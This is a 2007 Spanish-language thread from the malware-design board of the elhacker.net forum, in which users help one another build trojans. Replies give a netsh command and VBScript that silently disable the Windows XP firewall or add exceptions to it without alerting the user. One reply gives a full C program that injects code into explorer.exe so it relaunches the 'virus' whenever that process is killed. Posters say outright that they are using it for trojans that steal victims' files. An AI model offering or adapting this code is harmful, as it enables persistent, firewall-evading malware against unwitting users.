elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
23 Mayo 2012, 06:32  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Firewall Win Xp
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Firewall Win Xp  (Leído 4,020 veces)
magarcan

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Firewall Win Xp
« en: 8 Marzo 2007, 20:08 »

Estoy haciendo un troyano si es que puede llamarse así je je.
El problema es que a la primera ejecución salta el firewall de Windoes XP. He instalado programas en mi ordenador y ellos automáticamente se agregan a la lista de excepciones. ¿Alguien sabe como se hace esto? Me imagino que sea agregando una entrada al registro de Windows. A la espera. Muchas gracias
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Firewall Win Xp
« Respuesta #1 en: 9 Marzo 2007, 07:01 »

Tiesn que hace una injecion de proceso , IE, msn ;)
En línea
Gorky


Desconectado Desconectado

Mensajes: 766



Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #2 en: 9 Marzo 2007, 08:55 »

Tiesn que hace una injecion de proceso , IE, msn ;)

No es necesario hacer eso. Busca en el foro como agregar excepciones que se ha tratado muchas veces.
En línea

Si te gusta la Formula 1...
magarcan

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Re: Firewall Win Xp
« Respuesta #3 en: 9 Marzo 2007, 09:47 »

He estado buscando y no encuentro nada. Sólo te dicen como hacerlo de forma manual, es decir:inicio>panel de control>....

Yo quiero que mi programa lo haga solo. Gracias por las respuestas.
En línea
~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #4 en: 9 Marzo 2007, 17:12 »

Pues si lo haces de conexion inversa no seria necesario ;)
Si kieres ver exactamente q clave se varia del reg, una de dos o buscas por google o miras con el regmon a ver q cambia exactamente (es un programa para ver los cambios del reg en tiempo real)
En línea
LixKeÜ


Desconectado Desconectado

Mensajes: 393


solo es lo que es y la verdad siempre da de ganar


Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #5 en: 10 Marzo 2007, 02:30 »

 lo mejor seria que hagas una conexion inversa :D y listo  ;)
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #6 en: 10 Marzo 2007, 13:09 »

Citar
Tiesn que hace una injecion de proceso , IE, msn ;)


oye y hablando de eso MITM, no conoceras un codigo en C q funcione bien no??
En línea
magarcan

Desconectado Desconectado

Mensajes: 79


Ver Perfil
Re: Firewall Win Xp
« Respuesta #7 en: 10 Marzo 2007, 18:41 »

El firewall saltaba si se usa la opción de subir archivos del ordenador de la víctica a un server ftp (concretamente a la hora de loggearse en el ftp).

Al final he encontrado como agregar la excepción. No se hace mediante un registro como me imaginaba, pero se hace a trravés de la línea de comandos, más fácil si cabe.
Por si a alguien le puede servir pongo aquí como se haría:
Citar
Con: netsh firewall add allowedprogram
program = ruta del ejecutable, entre comillas si contiene espacios; en la ruta pueden   usarse variables de entorno como %programfiles%, etc.

name = nombre que se dará a la excepción y que aparecerá en la lista de excepciones
mode = uno de los modos descritos anteriormente
scope = ámbito de la excepción tal y como se han descrito
addresses = direcciones en el formato especificado
profile = perfil donde se aplicará la excepción

Ejemplo:netsh firewall add allowedprogram “C:\\Archivos de programa\\Aplicacion\\programa.exe” “Mi programa” disable custom 11.121.71.0/255.255.0.0,12.13.120.1 all

Espero que os sea de utilidad
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Firewall Win Xp
« Respuesta #8 en: 10 Marzo 2007, 21:41 »

creo que ne lab habia uno
, voy aver
En línea
~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #9 en: 10 Marzo 2007, 23:36 »

Pues me arias un gran favor si me pasaras el codigo  :D
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Firewall Win Xp
« Respuesta #10 en: 11 Marzo 2007, 10:19 »

Citar
Por cierto... puedo postear este código en la sección de Programacion VB? Esque hay usuarios que quieren saber como infectar ejecutables.

Antes de sacar info del Laboratorio prefiero preguntar. Si no se puede no pasa nada, que no me enfado xD

Saludos!!

Codigo de ||MadAntrax|| //

Este para infectar exes, muy currado y bueno !!

Y este, es para injeccion de IE

Código:
#include <windows.h>

//declaramos punteros a las apis que usaremos en el codigo inyectado
//colocamos los tipos de datos que reciben y el tipo que devuelven
typedef HANDLE (WINAPI *sOpenProcess) (DWORD, BOOL, DWORD);
typedef DWORD (WINAPI *sWaitForSingleObject) (HANDLE, DWORD);
typedef BOOL (WINAPI *sCreateProcess) (LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *sCloseHandle) (HANDLE);
typedef VOID (WINAPI *sSleep) (DWORD);
typedef HANDLE (WINAPI *sCreateMutex) (LPSECURITY_ATTRIBUTES, BOOL, LPSTR);

//struct que inyectaremos en la memoria del proceso, contendra las
//direcciones de las apis que usaremos y otros datos
struct iDat
{
sCreateMutex pCreateMutex;
sOpenProcess pOpenProcess;
sWaitForSingleObject pWaitForSingleObject;
sCreateProcess pCreateProcess;
sCloseHandle pCloseHandle;
sSleep pSleep;
DWORD PID;
HANDLE hp;
int x;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char Path[MAX_PATH];
char Mutex[50];
};

//prototipos de funciones
DWORD GetAdres(char *module, char *function);
DWORD Resident(iDat *base);
int SubMain();
void Dormir();

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//si no es un win tipo NT(xp, 2000, 2003, nt) salimos
OSVERSIONINFO OSinfo;
OSinfo.dwOSVersionInfoSize=sizeof(OSinfo);
GetVersionEx(&OSinfo);
if (OSinfo.dwPlatformId!=2) return 0;

//verificamos la existencia del mutex "Resident", si ya existe
//el explorer.exe ya esta inyectado y vamos a Dormir()
//en este caso por ser un ejemplo llamamos a Dormir() para
//mantener el proceso del ejemplo
HANDLE om = OpenMutex(SYNCHRONIZE, false, "Resident");
if (om == NULL) { SubMain(); } else { Dormir(); }
return 0;
}

//esta es la funcion que inyectaremos en el proceso del explorer.exe
//observese que se accede a las api y a otros datos usando la structura
//declarada antes, ya que como esta funcion se ejecutara en la memoria de
//otro proceso, no podemos usar apis y variables directamente, porque
//no corresponderian su direccion en la memoria de nuestro proceso
//con la del proceso del explorer.exe, es decir si por ejemplo la
//funcion usa una variable tipo int en la direccion 1000 de nuestro
//proceso, al inyectar el code, la funcion usaría lo que ubiera en
//la direccion 1000 del proceso inyectado, y daria error
//la funcion recibe un puntero a una struct iDat
DWORD Resident(iDat *base)
{
//creamos el mutex "Resident" para marcar el proceso como
//inyectado
base->pCreateMutex(NULL, 0, base->Mutex);
//abrimos el proceso del virus, con permiso de sincronizacion
base->hp = base->pOpenProcess(SYNCHRONIZE, 0, base->PID);
//si error salimos
if(base->hp==0) return 0;
//esperamos a que el proceso termine(es decir si nos terminan)
base->pWaitForSingleObject(base->hp, INFINITE);
//cerramos el handle al proceso
base->pCloseHandle(base->hp);
//esperamos 1/2 seg.
base->pSleep(500);
//entramos a un bucle do que ejecutara el virus si terminan su proceso
do
{
  //ejecutamos el virus
  base->x = base->pCreateProcess(base->Path, 0, 0, 0, 0, 0, 0, 0, &base->si, &base->pi);
  //si error salimos
  if (base->x == 0) break;
  //esperamos a que el proceso termine(osea si nos terminan)
  base->pWaitForSingleObject(base->pi.hProcess, INFINITE);
  //cerramos los handles al proceso y al hilo primario del proceso
  base->pCloseHandle(base->pi.hProcess);
  base->pCloseHandle(base->pi.hThread);
  //dormimos 1/2 seg
  base->pSleep(500);
}
while(1);
return 0;
}
//funcion inyectora
int SubMain()
{
//declaramos variables
DWORD pid;
HWND hv;
HANDLE hp;
iDat dat;
DWORD TamCodigo, dw;
void *vm;
char path[MAX_PATH];
//inicializamos con ceros la struct
ZeroMemory(&dat, sizeof(iDat));

//copiamos la cadena al miembro que se usara como nombre del mutex
//al miembro .Mutex de la struct
lstrcpy(dat.Mutex, "Resident");

//obtenemos el handle a la barra de inicio(que es una ventana, gene
//rada por el explorer.exe) si estamos haciendo esto al iniciar
//la pc seria bueno poner un retardo o un contador con un for
//y con un Sleep ya que puede que el virus se ejecute y como la pc
//recien se inicia, todavia no se haya creado la barra de inicio
hv = FindWindow("Shell_TrayWnd", NULL);
//si error salimos
if (hv==0) return 1;

//obtenemos el PID del proceso que creo la barra de inicio, que sera
//el pid del explorer.exe
GetWindowThreadProcessId(hv, &pid);
//si error salimos
if (pid==0) return 1;

//abrimos el proceso del explorer.exe
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
//si error salimos
if (hp==0) return 1;

//obtenemos las direcciones de las apis que usaremos y las
//almacenamos en la struct
dat.pOpenProcess = (sOpenProcess)GetAdres("KERNEL32.DLL", "OpenProcess");
dat.pWaitForSingleObject = (sWaitForSingleObject)GetAdres("KERNEL32.DLL", "WaitForSingleObject");
dat.pCreateProcess = (sCreateProcess)GetAdres("KERNEL32.DLL", "CreateProcessA");
dat.pCloseHandle = (sCloseHandle)GetAdres("KERNEL32.DLL", "CloseHandle");
dat.pSleep = (sSleep)GetAdres("KERNEL32.DLL", "Sleep");
dat.pCreateMutex = (sCreateMutex)GetAdres("KERNEL32.DLL", "CreateMutexA");
//almacenamos en la struct nuestro pid y nuestro path tambien
dat.PID = GetCurrentProcessId();
GetModuleFileName(0,path,sizeof(path)); lstrcpy(dat.Path, path);

//reservamos espacio en el proceso para la struct, devolvera un
//puntero a la struct que indicara la direccion de memoria en el
//proceso en que sera escrita la struct
iDat *pDat= (iDat *)VirtualAllocEx(hp, 0, sizeof(iDat), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//si error salimos
if (pDat==NULL) { CloseHandle(hp); return 1; }
//escribimos la struct, si error salimos
if(!WriteProcessMemory(hp, pDat, &dat, sizeof(iDat), &dw)) goto Fuera;
//calculamos el tamaño de la funcion a inyectar, restando a la
//direccion de la funcion que esta inmediatament debajo de la
//funcion a inyectar, la direccion de la funcion a inyectar
TamCodigo = (long unsigned int)SubMain - (long unsigned int)Resident;

//reservamos espacio para la funcion, devuelve la direccion
//donde se reservo la memoria, que es donde escribiremos la
//funcion
vm = VirtualAllocEx(hp, 0, TamCodigo, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//si no error
if (vm!=NULL)
{
  //escribimos la funcion, y si no error
  if(WriteProcessMemory(hp, vm, (void*)Resident, TamCodigo, &dw))
  {
   //creamos un hilo remoto en el proceso para ejecutar la funcion
   //pasamos como argumento el puntero a la struct dat
   CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)vm, pDat, 0, NULL);
  }
}
Fuera:
//cerramos el handle al proceso
CloseHandle(hp);
//dormimos
Dormir();
return 1;
}
//obtiene la direccion de una api, indicandole la dll donde reside
// y el nombre de la funcion.
DWORD GetAdres(char *module, char *function)
{
HMODULE dh = LoadLibrary(module);
if (!dh) return 0;
DWORD pf = (DWORD)GetProcAddress(dh,function);
if (!pf) { return 0; }
FreeLibrary(dh);
return pf;
}

//funcion que duerme la ejecucion del .exe
void Dormir()
{
while(1) { Sleep(30000); }
}

Info de Lab elhacker.net
Saluoos
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Firewall Win Xp
« Respuesta #11 en: 11 Marzo 2007, 10:30 »

Por otro lado, definitivamnete un troyano de conexion inversa, debe contar con injeccion de proceso Por que??

Por que la mayoria de los troyanos(funcionales, beast -bifrost), son orientados a pcs, que estan tras un firewall real(Lan), por que asi no mas, sin injeccion NO conecta, tu server se queda plantado en la pc, con el puerto ej 2000 abierto, esperando echo recive del cliente.

Obioo qu eso no se aplica para pcs, de uso domestico, ya que el firewall del xp, en teoria  no existe XD!!, pero la mayoria de las pcs tienen antivirus + firewall(routers+firewall) y es jugartela, a cazar pocas montas, el obejtivo real de un troyano es orientado a LAN, para que?
para una vez dentro , explorala con exploit y hacerte de ella.

Ente gustos y colores, cada uno tien lo suyo, pero si estas pensando hacer un troyano  fijo opcion de injeccion, basico

saludos
En línea
||MadAntrax||
Lab Member
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.525


Mala hierba nunca muere!


Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #12 en: 11 Marzo 2007, 14:26 »

Como ya se ha hablado:
VBScript: Jugando con el Firewall de Windows XP :P

Cerrar el Firewall de Windows XP

Este script permite deshabilitar por completo el firewall de Windows XP, lo malo de este método esque segun la configuración del Centro de Seguridad del usuario, mostrará o no un globo de advertencia.

Código:
'''''''''''''''''''''''
' Name: Disable_Frw.vbs
' Version: 1.0
' Author: ||MadAntrax||
' Website: foro.elhacker.net
' Payload: Disable the Windows Firewall. According to the user
' security preferences, it can appear a warning ballon.
'
'''''''''''''''''''''''

Set Firewall = CreateObject("HNetCfg.FwMgr")
Set Politica = Firewall.LocalPolicy.CurrentProfile

Politica.FirewallEnabled = FALSE

Solo hay que añadir que podemos cambiar el FALSE por un TRUE y así habilitar de nuevo el Firewall de Windows XP



Agregar de modo silencioso un programa en la lista de excepciones

Este es el método que más me gusta: Permite añadir la dirección de un archivo en la lista de excepciones del Firewall, podemos seleccionar algunos parametros tales como el nombre de la aplicación, la ruta y más cosas (adjunto también fotografia):

Código:
'''''''''''''''''''''''
' Name: Add_App_to_Frw.vbs
' Version: 1.0
' Author: ||MadAntrax||
' Website: foro.elhacker.net
' Payload: Add a program to the exception list of Windows Firewall
' without prompting to user.
'
'''''''''''''''''''''''

Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile

Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
objApplication.Name = "ElHacker.net - Aplicación"
objApplication.IPVersion = 2
objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
objApplication.RemoteAddresses = "*"
objApplication.Scope = 0
objApplication.Enabled = True

Set colApplications = objPolicy.AuthorizedApplications
colApplications.Add(objApplication)
En línea

Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Firewall Win Xp
« Respuesta #13 en: 11 Marzo 2007, 18:06 »

Jajaj. MaD como siempre en tu linea!! :)
En línea
~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.983


Ver Perfil WWW
Re: Firewall Win Xp
« Respuesta #14 en: 11 Marzo 2007, 18:21 »

Muchiiiiiiiiiiiiiisimas gracias por el codigo MITM  ;D ;D

Voy a modificarlo un poco y se lo voy a añadir al troyano en C y VB q estoy aciendo, es la leche el code  :D hace el proceso inmortal (siempre q no se cierre el explorer.exe xD)

El codigo es tullo? por q me gustaria hacer un agradecimiento en el \"acerca de\" de mi troyan (a ti por supuesto, por pasarme el code) y su/sus autor/es

De nuevo gracias ;)
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines